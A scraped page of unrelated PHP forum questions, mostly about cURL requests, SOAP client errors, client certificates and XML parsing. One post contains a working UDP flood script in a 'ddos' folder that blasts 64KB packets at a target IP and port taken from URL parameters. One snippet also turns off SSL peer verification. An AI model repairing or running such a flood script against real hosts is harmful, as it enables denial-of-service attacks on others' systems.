Hello, I am trying to do multiple curl requests and get the response for each one output to the screen. I have wrote the following code, but only appear to be getting the last response when outputting $result. What am i doing wrong? Is there a way to wait for each curl request to be completed before appending to $result so I can see them all? Thanks very much if (isset($_POST['submit'])) { $result = array(); foreach ($textAr as $line) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true ); curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate"); $result[] = curl_exec ($ch); } curl_close ($ch); echo "<pre>"; print_r($result); echo "</pre>"; }
Hi all, I'm using curl to post some data, and the response is (assuming no errors) either <boolean>true</boolean> or <boolean>false</boolean>. So if I use simplexml_load_string, the result is returned as an object. I'm trying to make this a boolean so I can handle the response, but it doesn't seem to be working....checking for false didn't stop anything from happening. Here's the problem code: Code: [Select] $result = curl_exec($ch); $xml = settype(simplexml_load_string($result),"boolean"); if (curl_errno($ch) || $xml === false) { throw new Exception(curl_error($ch)); } Hi,
Well, I've been wondering if I can get answer to my problem here...
I'd used curl to fetch information from other site and then I need to parse the data to be displayed in our own. However I found something odd...I can't parse it to get what I want...however should I put the result into a html file, n parse the file itself...it's fine.
Basically I just need to find whether a word/phrase is there or not...n I'm using preg_match to do it so far. Since the time it first arises...I'd been googling n saw some posts...something similar to how regex is doing poorly in doing such thing...
However it does work when I just make a php file just to do that regex from the curl-result html file, it just not work on the actual php file which handle the process even if it's from the same curl-result html file. FYI, I'm using codeigniter.
I wonder if it got something to do with codeigniter or something...or is there any other better way to parse a html file from a curl result. In my opinion it's just the same...be it a curl result or just a normal html...so I really can't figure out where it went wrong.
I appreciate if there's anyone who can shed a light on this problem, even a little bit is a great help to me
Thanks in advance,
Hey everyone, so im trying to utilize a systems OPTION command send prior to the POST command, the OPTION command will for example state that it would like to request specific headers. im trying to perform this to get the headers needed before the POST command im trying to execute, the values are required for the POST command i need to perform to get a response. The URL in question would be: https://media-entitlement.mlb.com/api/v3/jwt?os=windows&did=ffeae86c-9447-4bac-a021-caad0c02c605&appname=mlbtv_web Request method: OPTIONS (to get required headers):
Host: media-entitlement.mlb.com then a post command is performed just after which retrieves the values originally requested by the OPTIONS command prior to the POST:
Host: media-entitlement.mlb.com
Now Generally speaking, i fully understand their authorization etc. but this specific set of values seem only used in this one situation, they use bam-sdk which i understand pretty well. but needless to say this authorization bearer, and api-key value only seem generated via the initial OPTIONS grab in browser. so in summary i need to understand how these OPTIONS commands can be utilized to store the required headers as a variable which can be used in the POST command. Thanks in advance for your time and energy responding. mosb3rgler Edited June 14, 2019 by mosb3rglertypo OVERVIEW: The code is about making call to the escreen web service using SOAP and Curl with client authentication required. Currently I am not getting any result only HTTP 403 and 500 errors. The call requires client authenticate cert to be on the callng site. CODE: $content = "<TicketRequest> <Version>1.0</Version> <Mode>Test</Mode> <CommitAction></CommitAction> <PartnerInfo> <UserName>xxxxxxxxxx</UserName> <Password>xxxxxxxxxxx</Password> </ PartnerInfo> <RequestorOrderID></RequestorOrderID> <CustomerIdentification> <IPAddress></IPAddress> <ClientAccount>xxxxxxxxxx</ClientAccount> <ClientSubAccount>xxxxxxxxxx</ClientSubAccount> <InternalAccount></InternalAccount> <ElectronicClientID></ElectronicClientID> </CustomerIdentification> <TicketAction> <Type></Type> <Params> <Param> <ID>4646</ID> <Value></Value> </Param> </Params> </TicketAction> </TicketRequest>"; $wsdl = "https://services.escreen.com/SingleSignOnStage/SingleSignOn.asmx"; $headers = array( "Content-type: text/xml;charset=\"utf-8\"", "Accept: text/xml", "Cache-Control: no-cache", "Pragma: no-cache", // "SOAPAction: \"\"", "Content-length: ".strlen($content), ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wsdl); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_VERBOSE, '1'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $content); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, '1'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, '1'); //curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: text/xml")); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); //curl_setopt($ch, CURLOPT_HTTPHEADER, array('SOAPAction: ""')); curl_setopt($ch, CURLOPT_CAPATH, '/home/pps/'); curl_setopt($ch, CURLOPT_CAINFO, '/home/pps/authority.pem'); curl_setopt($ch, CURLOPT_SSLCERT, 'PROTPLUSSOL_SSO.pem'); curl_setopt($ch, CURLOPT_SSLCERTPASSWD, 'xxxxxxxxxxxx'); $output = curl_exec($ch); // Check if any error occured if(curl_errno($ch)) { echo 'Error no : '.curl_errno($ch).' Curl error: ' . curl_error($ch); } print_r($output); QUESTIONS: 1. I need to call the RequestTicket method and pass the XML string to it. I don't know how to do it here(pass the method name to call). 2. For client authentication they gave us three certs, one root cert, one intermediate cert and a client authentication cert PROTPLUSSOL_SSOpem(it was a .pfx file). Since we are on linux we converted them to pem . In curl calls I could not find way to how to include both the root cert and the intermediate cert ,so I combined them by making a new pem file and copying the intermediate cert and them the root cert and naming it authority.pem . I am not sure whether it works or not and would like your opinion. 3. For the current code Iam getting the error Error no : 77 Curl error: error setting certificate verify locations: CAfile: /home/pps/authority.pem CApath: /home/pps/ If I disable the curl error message,I am getting blank page with page title 403 - Forbidden. Access is denied. If I comment out the CURLOPT_CAPATH and CURLOPT_CAINFO lines it gives http 500 error page with the message as content and the following at the top. > HTTP/1.1 500 Internal Server Error. Cache-Control: private Content-Type: text/html Server: Microsoft-IIS/7.5 X-AspNet-Version: 1.1.4322 X-Powered-By: ASP.NET Date: Thu, 02 Sep 2010 14:46:38 GMT Content-Length: 1208 If I comment out as above and also CURLOPT_SSLCERT and CURLOPT_SSLCERTPASSWD it gives 403 error with the message as content. So I would request you to help me out by pointing out whats wrong with the current code. Thank you. Hi y'all. I've been looking at this for two days now and my head is starting to hurt from it.
I'm trying to integrate with an existing web service for client log-in and having trouble getting it done and Google is being very little help at this point. Here's the code, annotated where necessary:
namespace myNamespace; MyClass{ private $_apiLoginAddr = 'http://xxx.xxx.xxx.xxx:xxxx/ServiceAddress/Login.asmx?wsdl'; public function logIn($email,$id){ /* // these work... $testClient = new \SoapClient('http://www.webservicex.com/CurrencyConvertor.asmx?wsdl',array('trace'=>1,'exceptions'=>1)); $resp = $testClient->ConversionRate(array('FromCurrency'=>'USD','ToCurrency'=>'CAD')); print($resp->ConversionRateResult); $testClientAWS = new \SoapClient('http://webservices.amazon.com/AWSECommerceService/AWSECommerceService.wsdl',array('trace'=>1,'exceptions'=>1)); $resp = $testClientAWS->ItemLookup(array('ItemID'=>'1430260319')); var_dump($resp); $testClientP = new \SoapClient('https://pilot.prove-uru.co.uk/URUws/uru10a.asmx?wsdl',array('trace'=>1,'execptions'=>1)); print_r($testClientP->__getFunctions()); die(); */ // turning off caching because apparently it's sometimes an issue... ini_set('soap.wsdl_cache_enbled','0'); ini_set('soap.wsdl_cache_ttl','0'); // this doesn't work even a little bit... try{ $creds = array( 'trace' => 1, 'exceptions' => 1, 'cache_wsdl' => 'WSDL_CACHE_NONE', 'soap_version' => SOAP_1_1, ); $client = new \SoapClient($this->_apiLoginAddr,$creds); $results = $client->WebsiteLogin(array('_Password'=>$id,'_UserName'=>$email)); var_dump($client->__getLastRequest()); print('break'); var_dump($client->__getLastResponse()); }catch(\SoapFault $e){ print('Exception thrown!'); var_dump($e); die(); } print('Succesfully completed call!'); var_dump($results); die(); } }Using this code, the browser churns for about a minute before I get the error "SOAP-ERROR: Parsing WSDL: Couldn't load from 'http://xxx.xxx.xxx.x...ceAddress/Login.asmx' : failed to load external entity "http://xxx.xxx.xxx.x...ess/Login.asmx", with or without the call to WebsiteLogin(). Now, I've also tried a non-wsdl version where I replaced the credentials array and SoapClient instantiation with the following: try{ $creds = array( 'trace' => 1, 'exceptions' => 1, 'cache_wsdl' => 'WSDL_CACHE_NONE', 'location' => $this->_apiLoginAddr, 'uri' => 'http://tempuri.org', 'soap_version' => SOAP_1_1, ); $client = new \SoapClient(null,$creds); $results = $client->WebsiteLogin(array('_Password'=>$id,'_UserName'=>$email)); /* see previous code block */Using this approach, my browser again churns for about a minute before I get the error "Could not connect to host". If I don't actually try to log in using the service's WebsiteLogin() function, SoapClient doesn't throw an error on this one and reports a successfully completed call. Which does me no good at all, because my users can't log in if I don't call the WebsiteLogin() function. I can visit the end-point directly in my browser and it's definitely there and active, and SoapUI has no problem at all with the request or the response. I've tried uncommenting the open_ssl.dll in my php.ini, turning the wsdl caching options off in the php.ini directly, and pretty much everything short of ritual sacrifice to no avail. My log in form is sending the credentials via AJAX to the logIn() method above, and all this is happening in a WordPress site. However, as the webservicex, webservices.amazon.com, and pilot.prove-uru.co.uk soap calls all complete successfully, I don't think that's an issue. I've spoken with the maintainer of the service gateway and he swears we're not blacklisted through the firewall, but nothing is working. Anybody come across anything similar? Or have better Google skills that can actually find an applicable answer? Or have any ideas at all? 'Cause I'm at a loss... I am trying to parse an XML file and there are some values that contain a : as you can see below. Code: [Select] $rss_xml = SimpleXML_Load_String($rss_data); foreach ($rss_xml->channel->item as $item) { echo $item->title; echo "<br />"; echo $item->link; echo "<br />"; echo $item->description; echo "<br />"; echo $item->g:price; echo "<br />"; echo $item->g:image_link; echo "<hr />"; } For some reason because of this : I get the error. Code: [Select] HP Parse error: syntax error, unexpected ':', expecting ',' or ';' in /home/blah/blah/blah/index.php I have tried escaping it with a \ and also quoting the last element in the echo but it still will not have it. Any suggestions. Thanks Hey i am having some issues with some code. The values were submitted by a form but i want to change it to its submitted by the URL using $_GET. But doesnt want to work. Can someone please help me? This is just POC code no malicious intentions here. PHP is not my first language. Would appreciate any help. I am using netcat to test this. <?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } ?> URL Example: http://127.0.0.1/ddos/udp.php?ip=127.0.0.1?port=81?time=10 Error: Warning: fsockopen() [function.fsockopen]: unable to connect to udp://127.0.0.1?port=81?time=1:0 (Failed to parse address "127.0.0.1?port=81?time=1") in C:\xampp\htdocs\ddos\udp.php on line 19 Will not parse the variables properly. Have spent so much time on this. Hi, I am trying to post to a REST service using PHP cURL but I'm after running into a bit of difficulty (this being that I've never used cURL before!!). I've put together this code: $url = 'http://127.0.0.1:00/AccountCreator.ashx'; /*Where :00 represents the port number */ $curl_post_data = array( 'companyName' =>urlencode($companyName), 'mainContact' =>urlencode($mainContact), 'telephone1' =>urlencode($telephone1), 'email' => urlencode($email), 'contact2' => urlencode($contact2), 'telephone2' => urlencode($telephone2) 'email2' => urlencode($email2); 'package' => urlencode($package) ); foreach($curl_post_data as $key=>$value) {$fields_string .=$key. '=' .$value.'&'; } rtrim($fields_string, '&'); $ch = curl_init(); curl_setopt ($ch, CURLOPT, $url); curl_setopt ($ch, CURLOPT_POST, count($curl_post_data)); curl_setopt ($ch, CURLOPT_POSTFIELDS, $fields_string); $result = curl_exec($ch); curl_close($ch); I've tried this however it doesn't run. As I am integrating with payment partners, it just says: Quote Your transaction has been successful but there was a problem connecting back to the merchant's web site. Please contact the merchant and advise them that you received this error message. Thank you. I have emailed them to find out the exact error, but in the mean time I was wondering could someone take a look at my code to eliminate this as a problem, if possible. Thanks. Hi All, Not sure if you could maybe help with basic PHP cURL coding... I have a module to get products from another site but I keep on getting the error code below: Quote
> ArgumentCountError: Too few arguments to function curlCall(), 1 passed in /clientzone/modules/products.php on line 33 and at least 2 expected in /clientzone/includes/functions.php:0 The PHP code for the error above is: function bright_getAllProducts() { $productRequest = curlCall('http://url'); return $productRequest; } Any idea why the above error is given and how I can resolve it? Edited September 9, 2020 by Brendonm96wrong format |